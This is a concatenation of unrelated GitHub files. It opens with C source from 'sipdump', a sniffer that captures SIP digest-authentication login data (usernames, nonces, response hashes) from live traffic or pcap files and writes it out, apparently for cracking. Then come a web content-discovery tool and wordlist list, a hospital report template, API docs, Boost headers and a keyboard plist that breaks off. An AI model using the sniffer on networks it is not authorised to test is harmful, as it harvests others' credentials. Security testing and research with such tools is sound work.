("Buffer too small for line, ignoring..."));
error = 1;
}
strncpy(out, lines[i], out_len - 1);
found = 1;
}
/* free obsolete lines */
free(lines[i]);
}
/* Error or regular end of SIP header and no auth found */
if (error || (!found && lines[num_lines - 1][0] == 0x00)) {
free(lines[num_lines - 1]);
free(lines);
return -1;
}
/* Challenge response sniffed */
if (found) {
free(lines[num_lines - 1]);
free(lines);
return 1;
}
/* Nothing found so far, recording remaining buffer */
if (out_len - 1 < strlen(lines[num_lines - 1])) {
debug(("Buffer too small for line, ignoring..."));
free(lines[num_lines - 1]);
free(lines);
return -1;
}
strncpy(out, lines[num_lines - 1], out_len - 1);
/* Free last line */
free(lines[num_lines - 1]);
free(lines);
return 0;
}
/*
* Check if given buffer is a SIP header with methods
* that might require digest authentication
*/
static int find_sip_client_proto(unsigned char *buffer, size_t len)
{
int i;
char c = 0;
/* Ignore all other SIP requests as they won't be challenged */
if (strncmp((char *) buffer, "REGISTER ", 9) &&
strncmp((char *) buffer, "MESSAGE ", 8) &&
strncmp((char *) buffer, "OPTIONS ", 8) &&
strncmp((char *) buffer, "INVITE ", 7) &&
strncmp((char *) buffer, "BYE ", 4))
return 0;
/* Remove replace \r\n with \0 for strstr check */
for (i = 0; i < len; i++) {
if (buffer[i] == 0x0a || buffer[i] == 0x0d) {
c = buffer[i];
buffer[i] = 0x00;
break;
}
}
/* Check for valid SIP request and restore buffer */
if (strstr((char *) buffer, " sip:") &&
strstr((char *) buffer, " SIP/")) {
buffer[i] = c;
return 1;
}
return 0;
}
/*
* Manual mode to insert a login into dump file
*/
static void manual_mode()
{
login_t login;
memset(&login, 0, sizeof(login));
/* Get user input */
printf("* Enter login information manually:\n\n");
get_string_input(login.server, sizeof(login.server),
"* Enter server IP : ");
get_string_input(login.client, sizeof(login.client),
"* Enter client IP : ");
get_string_input(login.user, sizeof(login.user),
"* Enter username : ");
get_string_input(login.realm, sizeof(login.realm),
"* Enter realm : ");
get_string_input(login.method, sizeof(login.method),
"* Enter Method : ");
get_string_input(login.uri, sizeof(login.uri),
"* Enter URI : ");
get_string_input(login.nonce, sizeof(login.nonce),
"* Enter nonce : ");
get_string_input(login.qop, sizeof(login.qop),
"* Enter qop : ");
/* Read cnonce and cnonce_count only if qop is set */
if (strlen(login.qop)) {
get_string_input(login.cnonce, sizeof(login.cnonce),
"* Enter cnonce : ");
get_string_input(login.nonce_count, sizeof(login.nonce_count),
"* Enter nonce_count: ");
}
/* Get algorithm */
get_string_input(login.algorithm, sizeof(login.algorithm),
"* Enter algorithm : ");
Toupper(login.algorithm, strlen(login.algorithm));
/* Get response hash */
get_string_input(login.hash, sizeof(login.hash),
"* Enter response : ");
/* Write to file */
write_login_data(&login, dump_file);
return;
}
/*
* Show usage and exit
*/
static void usage(const char *err_msg)
{
printf
("Usage: sipdump [OPTIONS] <dump file> \n\n"
" <dump file> = file where captured logins will be written to\n\n"
" Options: \n"
" -i <interface> = interface to listen on \n"
" -p <file> = use pcap data file \n"
" -m = enter login data manually \n"
" -f \"<filter>\" = set libpcap filter \n"
"\n* %s\n", err_msg);
exit(EXIT_FAILURE);
}
/*
* Parse all SIP digest auth related values from buffer and write to dump file
*/
static void parse_n_write_login_data(const char *server,
const char *client, const char *method, const char *buffer)
{
login_t login_data;
memset(&login_data, 0, sizeof(login_data));
/* Copy server and client IP */
strncpy(login_data.server, server, sizeof(login_data.server) - 1);
strncpy(login_data.client, client, sizeof(login_data.client) - 1);
/* Copy method */
strncpy(login_data.method, method, sizeof(login_data.method) - 1);
/* Extract Authorization options from buffer */
if (find_value("username=", buffer, login_data.user,
sizeof(login_data.user)) ||
find_value("realm=", buffer, login_data.realm,
sizeof(login_data.realm)) ||
find_value("uri=", buffer, login_data.uri, sizeof(login_data.uri))
|| find_value("nonce=", buffer, login_data.nonce,
sizeof(login_data.nonce)) ||
find_value("response=", buffer, login_data.hash,
sizeof(login_data.hash))) {
debug(
("Couldn't parse buffer (ignoring data):\n---------\n%s\n---------",
buffer));
return;
}
/* Check for qop */
if (!find_value("qop=", buffer, login_data.qop,
sizeof(login_data.qop))) {
/* get cnonce and nonce_count */
if (find_value("cnonce=", buffer, login_data.cnonce,
sizeof(login_data.cnonce)) ||
find_value("nc=", buffer, login_data.nonce_count,
sizeof(login_data.nonce_count))) {
debug(
("Couldn't parse cnonce/nonce_count (ignoring data):\n---------\n%s\n---------",
buffer));
return;
}
}
/* Get algorithm or set MD5 */
if (find_value("algorithm=", buffer, login_data.algorithm,
sizeof(login_data.algorithm)))
strncpy(login_data.algorithm, "MD5",
sizeof(login_data.algorithm));
else
Toupper(login_data.algorithm, strlen(login_data.algorithm));
/* Write to dump file */
write_login_data(&login_data, dump_file);
printf("* Dumped login from %s -> %s (User: '%s')\n",
login_data.client, login_data.server, login_data.user);
num_logins++;
return;
}
/* Get offset, ripped from honeyd */
static int pcap_dloff(pcap_t * pd)
{
int offset = -1;
switch (pcap_datalink(pd)) {
case DLT_EN10MB:
offset = 14;
break;
case DLT_IEEE802:
offset = 22;
break;
case DLT_IEEE802_11_RADIO:
offset = 56; /* 64+32...? */
break;
case DLT_IEEE802_11:
offset = 32;
break;
case DLT_FDDI:
offset = 21;
break;
#ifdef DLT_PPP
case DLT_PPP:
offset = 24;
break;
#endif
#ifdef DLT_LINUX_SLL
case DLT_LINUX_SLL:
offset = 16;
break;
#endif
#ifdef DLT_LOOP
case DLT_LOOP:
#endif
case DLT_NULL:
offset = 4;
break;
default:
break;
}
return (offset);
}
#endif
| {
"pile_set_name": "Github"
} |
<?xml version="1.0" encoding="UTF-8"?>
<jasperReport xmlns="http://jasperreports.sourceforge.net/jasperreports" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://jasperreports.sourceforge.net/jasperreports http://jasperreports.sourceforge.net/xsd/jasperreport.xsd" name="null" language="groovy" pageWidth="708" pageHeight="56" columnWidth="702" leftMargin="3" rightMargin="3" topMargin="3" bottomMargin="3">
<property name="ireport.zoom" value="1.5"/>
<property name="ireport.x" value="0"/>
<property name="ireport.y" value="0"/>
<parameter name="namars" class="java.lang.String"/>
<parameter name="alamatrs" class="java.lang.String"/>
<parameter name="kotars" class="java.lang.String"/>
<parameter name="propinsirs" class="java.lang.String"/>
<parameter name="kontakrs" class="java.lang.String"/>
<parameter name="emailrs" class="java.lang.String"/>
<parameter name="logo" class="java.io.InputStream"/>
<parameter name="tanggal" class="java.lang.String"/>
<parameter name="kamar" class="java.lang.String"/>
<queryString>
<![CDATA[select pasien.no_rkm_medis, pasien.nm_pasien, pasien.no_ktp, pasien.jk,
pasien.tmp_lahir, pasien.tgl_lahir,pasien.nm_ibu, concat(pasien.alamat,', ',kelurahan.nm_kel,', ',kecamatan.nm_kec,', ',kabupaten.nm_kab) as alamat, pasien.gol_darah, pasien.pekerjaan,
pasien.stts_nikah,pasien.agama,pasien.tgl_daftar,pasien.no_tlp,pasien.umur,
pasien.pnd, pasien.keluarga, pasien.namakeluarga,penjab.png_jawab,pasien.pekerjaanpj,
concat(pasien.alamatpj,', ',pasien.kelurahanpj,', ',pasien.kecamatanpj,', ',pasien.kabupatenpj) as alamatpj from pasien
inner join kelurahan inner join kecamatan inner join kabupaten
inner join penjab on pasien.kd_pj=penjab.kd_pj and pasien.kd_kel=kelurahan.kd_kel
and pasien.kd_kec=kecamatan.kd_kec and pasien.kd_kab=kabupaten.kd_kab]]>
</queryString>
<field name="no_rkm_medis" class="java.lang.String">
<fieldDescription><![CDATA[]]></fieldDescription>
</field>
<field name="nm_pasien" class="java.lang.String">
<fieldDescription><![CDATA[]]></fieldDescription>
</field>
<field name="no_ktp" class="java.lang.String">
<fieldDescription><![CDATA[]]></fieldDescription>
</field>
<field name="jk" class="java.lang.String">
<fieldDescription><![CDATA[]]></fieldDescription>
</field>
<field name="tmp_lahir" class="java.lang.String">
<fieldDescription><![CDATA[]]></fieldDescription>
</field>
<field name="tgl_lahir" class="java.sql.Date">
<fieldDescription><![CDATA[]]></fieldDescription>
</field>
<field name="nm_ibu" class="java.lang.String">
<fieldDescription><![CDATA[]]></fieldDescription>
</field>
<field name="alamat" class="java.lang.String">
<fieldDescription><![CDATA[]]></fieldDescription>
</field>
<field name="gol_darah" class="java.lang.String">
<fieldDescription><![CDATA[]]></fieldDescription>
</field>
<field name="pekerjaan" class="java.lang.String">
<fieldDescription><![CDATA[]]></fieldDescription>
</field>
<field name="stts_nikah" class="java.lang.String">
<fieldDescription><![CDATA[]]></fieldDescription>
</field>
<field name="agama" class="java.lang.String">
<fieldDescription><![CDATA[]]></fieldDescription>
</field>
<field name="tgl_daftar" class="java.sql.Date">
<fieldDescription><![CDATA[]]></fieldDescription>
</field>
<field name="no_tlp" class="java.lang.String">
<fieldDescription><![CDATA[]]></fieldDescription>
</field>
<field name="umur" class="java.lang.String">
<fieldDescription><![CDATA[]]></fieldDescription>
</field>
<field name="pnd" class="java.lang.String">
<fieldDescription><![CDATA[]]></fieldDescription>
</field>
<field name="keluarga" class="java.lang.String">
<fieldDescription><![CDATA[]]></fieldDescription>
</field>
<field name="namakeluarga" class="java.lang.String">
<fieldDescription><![CDATA[]]></fieldDescription>
</field>
<field name="png_jawab" class="java.lang.String">
<fieldDescription><![CDATA[]]></fieldDescription>
</field>
<field name="pekerjaanpj" class="java.lang.String">
<fieldDescription><![CDATA[]]></fieldDescription>
</field>
<field name="alamatpj" class="java.lang.String">
<fieldDescription><![CDATA[]]></fieldDescription>
</field>
<background>
<band/>
</background>
<title>
<band height="50">
<textField pattern="">
<reportElement mode="Opaque" x="118" y="37" width="108" height="13"/>
<textElement verticalAlignment="Middle" lineSpacing="Single">
<font fontName="Tahoma" size="8" isBold="false"/>
</textElement>
<textFieldExpression class="java.lang.String"><![CDATA["No. RM : "+$F{no_rkm_medis}]]></textFieldExpression>
</textField>
<textField pattern="">
<reportElement mode="Opaque" x="118" y="12" width="141" height="13"/>
<textElement verticalAlignment="Middle" lineSpacing="Single">
<font fontName="Tahoma" size="8" isBold="true"/>
</textElement>
<textFieldExpression class="java.lang.String"><![CDATA[$F{nm_pasien}]]></textFieldExpression>
</textField>
<textField pattern="">
<reportElement mode="Opaque" x="118" y="25" width="141" height="13"/>
<textElement verticalAlignment="Middle" lineSpacing="Single">
<font fontName="Tahoma" size="8" isBold="false"/>
</textElement>
<textFieldExpression class="java.lang.String"><![CDATA["Tgl Lahir : "+$F{tgl_lahir}]]></textFieldExpression>
</textField>
<textField pattern="">
<reportElement mode="Opaque" x="116" y="2" width="278" height="13"/>
<textElement textAlignment="Center" verticalAlignment="Middle" lineSpacing="Single">
<font fontName="Tahoma" size="8" isBold="true"/>
</textElement>
<textFieldExpression class="java.lang.String"><![CDATA[$P{namars}]]></textFieldExpression>
</textField>
<textField pattern="">
<reportElement mode="Opaque" x="259" y="12" width="135" height="13"/>
<textElement textAlignment="Center" verticalAlignment="Middle" lineSpacing="Single">
<font fontName="Tahoma" size="8" isBold="true"/>
</textElement>
<textFieldExpression class="java.lang.String"><![CDATA["Ruang : "+$P{kamar}]]></textFieldExpression>
</textField>
<textField pattern="">
<reportElement mode="Opaque" x="271" y="24" width="123" height="13"/>
<textElement verticalAlignment="Middle" lineSpacing="Single">
<font fontName="Tahoma" size="8" isBold="false"/>
</textElement>
<textFieldExpression class="java.lang.String"><![CDATA["Tanggal Dirawat :"]]></textFieldExpression>
</textField>
<textField pattern="">
<reportElement mode="Opaque" x="271" y="35" width="123" height="13"/>
<textElement verticalAlignment="Middle" lineSpacing="Single">
<font fontName="Tahoma" size="8" isBold="false"/>
</textElement>
<textFieldExpression class="java.lang.String"><![CDATA[$P{tanggal}]]></textFieldExpression>
</textField>
</band>
</title>
</jasperReport>
| {
"pile_set_name": "Github"
} |
<!-- YAML
added: v8.0.0
napiVersion: 1
-->
```c
napi_status napi_get_value_bool(napi_env env, napi_value value, bool* result)
```
* `[in] env`: The environment that the API is invoked under.
* `[in] value`: `napi_value` representing JavaScript `Boolean`.
* `[out] result`: C boolean primitive equivalent of the given JavaScript
`Boolean`.
Returns `napi_ok` if the API succeeded. If a non-boolean `napi_value` is
passed in it returns `napi_boolean_expected`.
This API returns the C boolean primitive equivalent of the given JavaScript
`Boolean`.
| {
"pile_set_name": "Github"
} |
# Content Discovery:
## Tools:
* [Ffuf](https://github.com/ffuf/ffuf)
* [Dirsearch](https://github.com/maurosoria/dirsearch)
## Wordlists:
* [RobotsDisallowed](https://github.com/danielmiessler/RobotsDisallowed)
* [SecLists Web Content](https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content)
* [content_discovery_nullenc0de](https://gist.github.com/nullenc0de/96fb9e934fc16415fbda2f83f08b28e7)
* [content_discovery_all](https://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10)
* [commonspeak2](https://github.com/assetnote/commonspeak2-wordlists)
| {
"pile_set_name": "Github"
} |
/*
* Copyright 2010 Vicente J. Botet Escriba
* Copyright 2015 Andrey Semashev
*
* Distributed under the Boost Software License, Version 1.0.
* See http://www.boost.org/LICENSE_1_0.txt
*/
#ifndef BOOST_WINAPI_GET_LAST_ERROR_HPP_INCLUDED_
#define BOOST_WINAPI_GET_LAST_ERROR_HPP_INCLUDED_
#include <boost/winapi/basic_types.hpp>
#ifdef BOOST_HAS_PRAGMA_ONCE
#pragma once
#endif
#if !defined( BOOST_USE_WINDOWS_H )
extern "C" {
BOOST_SYMBOL_IMPORT lslboost::winapi::DWORD_ WINAPI GetLastError(BOOST_WINAPI_DETAIL_VOID);
}
#endif
namespace lslboost {
namespace winapi {
using ::GetLastError;
}
}
#endif // BOOST_WINAPI_GET_LAST_ERROR_HPP_INCLUDED_
| {
"pile_set_name": "Github"
} |
6
1 1 1 3 3 3
| {
"pile_set_name": "Github"
} |
<?xml version="1.0" encoding="utf-8"?>
<!-- This comment will force IE7 to go into quirks mode. -->
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"></meta>
<link rel="stylesheet" type="text/css" href="../../CSS/Contents.css"></link>
<script type="text/javascript" src="../../JS/Common.js"></script>
<title>ParseException Constructor (string)</title>
</head>
<body>
<div id="Header">
<div id="ProjectTitle">Documentation Project</div>
<div id="PageTitle">ParseException Constructor (string)</div>
<div id="HeaderShortcuts">
<a href="#SectionHeader0" onclick="javascript: SetSectionVisibility(0, true); SetExpandCollapseAllToCollapseAll();">Syntax</a>
</div>
<div class="DarkLine"></div>
<div class="LightLine"></div>
<div id="HeaderToolbar">
<img id="ExpandCollapseAllImg" src="../../GFX/SmallSquareExpanded.gif" alt="" style="vertical-align: top;" onclick="javascript: ToggleAllSectionsVisibility();" />
<span id="ExpandCollapseAllSpan" onclick="javascript: ToggleAllSectionsVisibility();">Collapse All</span>
</div>
</div>
<div id="Contents">
<a id="ContentsAnchor"> </a>
Constructs a new exception.
<div id="ItemLocation">
<b>Declaring type:</b> <a href="../../Contents/3/286.html">ParseException</a><br />
<b>Namespace:</b> <a href="../../Contents/3/248.html">Sasa.Parsing</a><br />
<b>Assembly:</b> <a href="../../Contents/1/10.html">Sasa.Parsing</a>
</div>
<div id="SectionHeader0" class="SectionHeader">
<img id="SectionExpanderImg0" src="../../GFX/BigSquareExpanded.gif" alt="Collapse/Expand" onclick="javascript: ToggleSectionVisibility(0);" />
<span class="SectionHeader">
<span class="ArrowCursor" onclick="javascript: ToggleSectionVisibility(0);">
Syntax
</span>
</span>
</div>
<div id="SectionContainerDiv0" class="SectionContainer">
<table class="CodeTable"><col width="100%" /><tr class="CodeTable"><th class="CodeTable">C#</th></tr><tr class="CodeTable"><td class="CodeTable"><pre style="margin-left: 2px;">public ParseException (
string <i>error</i>
) </pre></td></tr></table>
<div class="CommentHeader">Parameters</div>
<div class="CommentParameterName">error</div>
<div class="ParameterCommentContainer">
The reason for the parse error.
</div>
<div class="TopLink"><a href="#ContentsAnchor">Top</a></div></div>
</div>
<div id="Footer">
<span class="Footer">Generated by <a href="http://immdocnet.codeplex.com/" target="_blank">ImmDoc .NET</a></span>.
</div>
</body>
</html>
| {
"pile_set_name": "Github"
} |
# /* **************************************************************************
# * *
# * (C) Copyright Paul Mensonides 2002.
# * Distributed under the Boost Software License, Version 1.0. (See
# * accompanying file LICENSE_1_0.txt or copy at
# * http://www.lslboost.org/LICENSE_1_0.txt)
# * *
# ************************************************************************** */
#
# /* See http://www.lslboost.org for most recent version. */
#
# ifndef BOOST_PREPROCESSOR_DEBUG_LINE_HPP
# define BOOST_PREPROCESSOR_DEBUG_LINE_HPP
#
# include <lslboost/preprocessor/cat.hpp>
# include <lslboost/preprocessor/config/config.hpp>
# include <lslboost/preprocessor/iteration/iterate.hpp>
# include <lslboost/preprocessor/stringize.hpp>
#
# /* BOOST_PP_LINE */
#
# if BOOST_PP_CONFIG_EXTENDED_LINE_INFO
# define BOOST_PP_LINE(line, file) line BOOST_PP_CAT(BOOST_PP_LINE_, BOOST_PP_IS_ITERATING)(file)
# define BOOST_PP_LINE_BOOST_PP_IS_ITERATING(file) #file
# define BOOST_PP_LINE_1(file) BOOST_PP_STRINGIZE(file BOOST_PP_CAT(BOOST_PP_LINE_I_, BOOST_PP_ITERATION_DEPTH())())
# define BOOST_PP_LINE_I_1() [BOOST_PP_FRAME_ITERATION(1)]
# define BOOST_PP_LINE_I_2() BOOST_PP_LINE_I_1()[BOOST_PP_FRAME_ITERATION(2)]
# define BOOST_PP_LINE_I_3() BOOST_PP_LINE_I_2()[BOOST_PP_FRAME_ITERATION(3)]
# define BOOST_PP_LINE_I_4() BOOST_PP_LINE_I_3()[BOOST_PP_FRAME_ITERATION(4)]
# define BOOST_PP_LINE_I_5() BOOST_PP_LINE_I_4()[BOOST_PP_FRAME_ITERATION(5)]
# else
# define BOOST_PP_LINE(line, file) line __FILE__
# endif
#
# endif
| {
"pile_set_name": "Github"
} |
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>BuildMachineOSBuild</key>
<string>17B48</string>
<key>CFBundleExecutable</key>
<string>VoodooPS2Keyboard</string>
<key>CFBundleGetInfoString</key>
<string>1.8.29, Copyright Apple Computer, Inc. 2000-2003, RehabMan 2012-2013</string>
<key>CFBundleIdentifier</key>
<string>org.rehabman.voodoo.driver.PS2Keyboard</string>
<key>CFBundleInfoDictionaryVersion</key>
<string>6.0</string>
<key>CFBundleName</key>
<string>Voodoo PS/2 Keyboard</string>
<key>CFBundlePackageType</key>
<string>KEXT</string>
<key>CFBundleShortVersionString</key>
<string>1.8.29</string>
<key>CFBundleSignature</key>
<string>????</string>
<key>CFBundleSupportedPlatforms</key>
<array>
<string>MacOSX</string>
</array>
<key>CFBundleVersion</key>
<string>1.8.29</string>
<key>DTCompiler</key>
<string>com.apple.compilers.llvm.clang.1_0</string>
<key>DTPlatformBuild</key>
<string>9B55</string>
<key>DTPlatformVersion</key>
<string>GM</string>
<key>DTSDKBuild</key>
<string>12D75</string>
<key>DTSDKName</key>
<string>macosx10.8</string>
<key>DTXcode</key>
<string>0910</string>
<key>DTXcodeBuild</key>
<string>9B55</string>
<key>IOKitPersonalities</key>
<dict>
<key>ApplePS2Keyboard</key>
<dict>
<key>CFBundleIdentifier</key>
<string>org.rehabman.voodoo.driver.PS2Keyboard</string>
<key>IOClass</key>
<string>ApplePS2Keyboard</string>
<key>IOProviderClass</key>
<string>ApplePS2KeyboardDevice</string>
<key>Platform Profile</key>
<dict>
<key>DELL</key>
<dict>
<key>Dell-Keys</key>
<dict>
<key>Breakless PS2</key>
<array>
<string>e005</string>
<string>e006</string>
</array>
<key>Function Keys Special</key>
<array>
<string>;The following 12 items map Fn+fkeys to fkeys</string>
<string>e020=3b</string>
<string>e02e=3c</string>
<string>e030=3d</string>
<string>e022=3e</string>
<string>;Fn+f5 macro</string>
<string>;Fn+f6 macro</string>
<string>;Fn+f7 macro</string>
<string>;Fn+f8 macro</string>
<string>;Fn+f9 macro</string>
<string>;Fn+f10 no code</string>
<string>e005=57</string>
<string>e006=58</string>
<string>;The following 12 items map fkeys to Fn+fkeys</string>
<string>3b=e020</string>
<string>3c=e02e</string>
<string>3d=e030</string>
<string>3e=e022</string>
<string>;Fn+f5 macro</string>
<string>;Fn+f6 macro</string>
<string>;Fn+f7 macro</string>
<string>;Fn+f8 macro</string>
<string>;Fn+f9 macro</string>
<string>;Fn+f10 no code</string>
<string>57=e005</string>
<string>58=e006</string>
</array>
<key>Function Keys Standard</key>
<array>
<string>;The following 12 items map Fn+fkeys to Fn+fkeys</string>
<string>e020=e020</string>
<string>e02e=e02e</string>
<string>e030=e030</string>
<string>e022=e022</string>
<string>;Fn+f5 macro</string>
<string>;Fn+f6 macro</string>
<string>;Fn+f7 macro</string>
<string>;Fn+f8 macro</string>
<string>;Fn+f9 macro</string>
<string>;Fn+f10 no code</string>
<string>e005=e005</string>
<string>e006=e006</string>
<string>;The following 12 items map fkeys to fkeys</string>
<string>3b=3b</string>
<string>3c=3c</string>
<string>3d=3d</string>
<string>3e=3e</string>
<string>3f=3f</string>
<string>40=40</string>
<string>41=41</string>
<string>42=42</string>
<string>43=43</string>
<string>44=44</string>
<string>57=57</string>
<string>58=58</string>
</array>
</dict>
<key>HSW-LPT</key>
<string>Dell-Keys</string>
<key>SNB-CPT</key>
<dict>
<key>ActionSwipeDown</key>
<string>63 d, 63 u</string>
<key>ActionSwipeUp</key>
<string>61 d, 61 u</string>
<key>Breakless PS2</key>
<array>
<string>e01e;Touchpad Fn+f3 is breakless</string>
<string>e06e;REVIEW: temporary for case that macro inversion does not work...</string>
</array>
<key>Custom ADB Map</key>
<array>
<string>e009=83;Dell Support to Launchpad</string>
<string>e0f1=71;Call brightens up w RKA1 for special mode (was =90)</string>
<string>e0f2=6b;Call brightens down w RKA2 for special mode (was =91)</string>
<string>e06e=70;Map vidmirror key for special mode default is adb90</string>
</array>
<key>Custom PS2 Map</key>
<array>
<string>e01e=e037;Map tp disable to Fn+f3</string>
<string>e037=e01e;Prevent PrntScr from triggering tp disable</string>
</array>
<key>Function Keys Special</key>
<array>
<string>;The following 12 items map Fn+fkeys to fkeys</string>
<string>e06e=3b</string>
<string>e008=3c</string>
<string>e01e=3d</string>
<string>e005=3e</string>
<string>e006=3f</string>
<string>e00c=40</string>
<string>;Fn+f7 no dedicated macro</string>
<string>e010=42</string>
<string>e022=43</string>
<string>e019=44</string>
<string>e02e=57</string>
<string>e030=58</string>
<string>;The following 12 items map fkeys to Fn+fkeys</string>
<string>3b=e06e;Map vidmirror key to f1</string>
<string>3c=e0f0;Map radio toggle action from EC query to f2</string>
<string>3d=e037;Map touchpad toggle button to f3</string>
<string>3e=e0f2;Map acpi RKA2 to f4 brightness down</string>
<string>3f=e0f1;Map acpi RKA1 to f5 brightness up</string>
<string>40=e0f3;Map acpi RKA3 to f6 keyboard backlight</string>
<string>;Fn+f7 no macro</string>
<string>42=e010</string>
<string>43=e022</string>
<string>44=e019</string>
<string>57=e02e</string>
<string>58=e030</string>
</array>
<key>Function Keys Standard</key>
<array>
<string>;The following 12 items map Fn+fkeys to Fn+fkeys</string>
<string>e06e=e06e;Fn+f1 macro translated</string>
<string>e008=e008;Fn+f2 regular scancode and EC query call q8c</string>
<string>e01e=e037;Fn+f3 regular scancode and EC controls LED</string>
<string>e005=e005;Fn+f4 no ps2scancode and EC query call q81</string>
<string>e006=e006;Fn+f5 no ps2scancode and EC query call q80</string>
<string>e00c=e00c;Fn+f6 no ps2scancode and EC query call q8a</string>
<string>;Fn+f7 no macro just regular f key</string>
<string>e010=e010; Fn+f8 regular scancode</string>
<string>e022=e022; Fn+f9 regular scancode</string>
<string>e019=e019;Fn+f10 regular scancode</string>
<string>e02e=e02e;Fn+f11 regular scancode</string>
<string>e030=e030;Fn+f12 regular scancode</string>
<string>;Fn+f13 is mute dedicated button that always produces e020 regardless of Fn</string>
<string>;The following 12 items map fkeys to fkeys</string>
<string>3b=3b</string>
<string>3c=3c</string>
<string>3d=3d</string>
<string>3e=3e</string>
<string>3f=3f</string>
<string>40=40</string>
<string>41=41</string>
<string>42=42</string>
<string>43=43</string>
<string>44=44</string>
<string>57=57</string>
<string>58=58</string>
</array>
<key>Macro Inversion</key>
<array>
<string>;This section maps ps2 codes (packet format) received quickly (macros) into fake ps2 codes (packet format)</string>
<string>;Fn+F1</string>
<data>
//8CbgAAAAACWwEZ
</data>
<data>
//8C7gAAAAAC2wGZ
</data>
<data>
//8C7gAAAAABmQLb
</data>
</array>
<key>MaximumMacroTime</key>
<integer>35000000</integer>
<key>Note-Author</key>
<string>TimeWalker aka TimeWalker75a</string>
<key>Note-Comment</key>
<string>Keyboard Profile for DELL SandyBridge SecureCore Tiano based laptops (Vostro 3450 & 3750, Inspiron N4110, XPS L502x & L702x & L511z)</string>
</dict>
<key>WN09</key>
<dict>
<key>Breakless PS2</key>
<array>
<string>e01b</string>
<string>e008</string>
<string>e01e</string>
<string>e005</string>
<string>e06e</string>
<string>e006</string>
</array>
<key>Custom ADB Map</key>
<array>
<string>e01b=70</string>
<string>e06e=83</string>
</array>
<key>Custom PS2 Map</key>
<array>
<string>56=2b</string>
<string>29=56</string>
<string>2b=29</string>
<string>e01e=e037</string>
<string>e037=e01e</string>
</array>
</dict>
<key>WN09a</key>
<dict>
<key>Breakless PS2</key>
<array>
<string>e01b</string>
<string>e008</string>
<string>e01e</string>
<string>e005</string>
<string>e06e</string>
<string>e006</string>
</array>
<key>Custom ADB Map</key>
<array>
<string>e01b=70</string>
<string>e06e=83</string>
</array>
<key>Custom PS2 Map</key>
<array>
<string>e01e=e037</string>
<string>e037=e01e</string>
</array>
</dict>
</dict>
<key>Default</key>
<dict>
<key>ActionSwipeDown</key>
<string>3b d, 37 d, 7d d, 7d u, 37 u, 3b u</string>
<key>ActionSwipeLeft</key>
<string>3b d, 37 d, 7b d, 7b u, 37 u, 3b u</string>
<key>ActionSwipeRight</key>
<string>3b d, 37 d, 7c d, 7c u, 37 u, 3b u</string>
<key>ActionSwipeUp</key>
<string>3b d, 37 d, 7e d, 7e u, 37 u, 3b u</string>
<key>Breakless PS2</key>
<array>
<string>;Items must be strings in the form of breaklessscan (in hex)</string>
</array>
<key>Custom ADB Map</key>
<array>
<string>;Items must be strings in the form of scanfrom=adbto (in hex)</string>
</array>
<key>Custom PS2 Map</key>
<array>
<string>;Items must be strings in the form of scanfrom=scanto (in hex)</string>
<string>e027=0;disable discrete fnkeys toggle</string>
<string>e028=0;disable discrete trackpad toggle</string>
</array>
<key>HIDF12EjectDelay</key>
<integer>250</integer>
<key>LogScanCodes</key>
<integer>0</integer>
<key>Make Application key into Apple Fn key</key>
<false/>
<key>Make Application key into right windows</key>
<true/>
<key>Make right modifier keys into Hangul and Hanja</key>
<false/>
<key>SleepPressTime</key>
<integer>0</integer>
<key>Swap capslock and left control</key>
<false/>
<key>Swap command and option</key>
<true/>
<key>Use ISO layout keyboard</key>
<false/>
<key>alt_handler_id</key>
<integer>3</integer>
</dict>
<key>HPQOEM</key>
<dict>
<key>1411</key>
<string>ProBook-102;ProBook 4520s</string>
<key>1619</key>
<string>ProBook-87;ProBook 6560b</string>
<key>161C</key>
<string>ProBook-87;ProBook 8460p</string>
<key>164F</key>
<string>ProBook-87;ProBook 5330m</string>
<key>167C</key>
<string>ProBook-102;ProBook 4530s</string>
<key>167E</key>
<string>ProBook-102;ProBook 4330s</string>
<key>1680</key>
<string>ProBook-102;ProBook 4230s</string>
<key>179B</key>
<string>ProBook-87;ProBook 6470b</string>
<key>179C</key>
<string>ProBook-87;ProBook 6470b</string>
<key>17A9</key>
<string>ProBook-87;ProBook 8570b</string>
<key>17F0</key>
<string>ProBook-102;ProBook 4340s</string>
<key>17F3</key>
<string>ProBook-102;ProBook 4440s</string>
<key>17F6</key>
<string>ProBook-102;ProBook 4540s</string>
<key>1942</key>
<string>ProBook-87;ProBook 450s G1</string>
<key>1949</key>
<string>ProBook-87;ProBook 450s G1</string>
<key>1962</key>
<string>Haswell-Envy;HP Envy 15-j063cl</string>
<key>1963</key>
<string>Haswell-Envy;HP Envy 15-j063cl</string>
<key>1965</key>
<string>Haswell-Envy;HP Envy 17t-j100</string>
<key>1966</key>
<string>Haswell-Envy;HP Envy 17t-j000</string>
<key>198F</key>
<string>ProBook-87;ProBook 450s G0</string>
<key>Haswell-Envy</key>
<dict>
<key>Custom ADB Map</key>
<array>
<string>e019=42;next</string>
<string>e010=4d;previous</string>
</array>
<key>Custom PS2 Map</key>
<array>
<string>e045=e037</string>
<string>e0ab=0;bogus Fn+F2/F3</string>
</array>
</dict>
<key>ProBook-102</key>
<dict>
<key>Custom PS2 Map</key>
<array>
<string>e005=0</string>
</array>
<key>Function Keys Special</key>
<array>
<string>;The following 12 items map Fn+fkeys to fkeys</string>
<string>e05f=3b</string>
<string>e012=3c</string>
<string>e017=3d</string>
<string>e06e=3e</string>
<string>e00a=3f</string>
<string>e009=40</string>
<string>e020=41</string>
<string>e02e=42</string>
<string>e030=43</string>
<string>e010=44</string>
<string>e022=57</string>
<string>e019=58</string>
<string>;The following 12 items map fkeys to Fn+fkeys</string>
<string>3b=e05f</string>
<string>3c=e012</string>
<string>3d=e017</string>
<string>3e=e06e</string>
<string>3f=e00a</string>
<string>40=e009</string>
<string>41=e020</string>
<string>42=e02e</string>
<string>43=e030</string>
<string>44=e010</string>
<string>57=e022</string>
<string>58=e019</string>
</array>
<key>Function Keys Standard</key>
<array>
